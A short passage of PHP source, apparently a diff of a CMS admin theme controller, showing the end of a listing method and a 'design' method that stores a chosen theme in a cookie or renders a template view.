-         $this->assign('selected_ids', $selectedIds);
 
-         $this->assign('filters', $filters);
 
-         return $this->fetch();
 
-     }
 
-     /**
 
-      * 模板设计
 
-      * @adminMenu(
 
-      *     'name'   => '模板设计',
 
-      *     'parent' => 'index',
 
-      *     'display'=> false,
 
-      *     'hasView'=> true,
 
-      *     'order'  => 10000,
 
-      *     'icon'   => '',
 
-      *     'remark' => '模板设计',
 
-      *     'param'  => ''
 
-      * )
 
-      */
 
-     public function design()
 
-     {
 
-         if ($this->request->isAjax()) {
 
-             $theme = $this->request->param('theme');
 
-             cookie('cmf_design_theme', $theme, 3);
 
-             $this->success('success');
 
-         } else {
 
-             $content = hook_one('admin_theme_design_view');
 
-             if (empty($content)) {
 
-                 $content = $this->fetch();
 
-             }
 
-             return $content;
 
-         }
 
-     }
 
- }
 
 
  |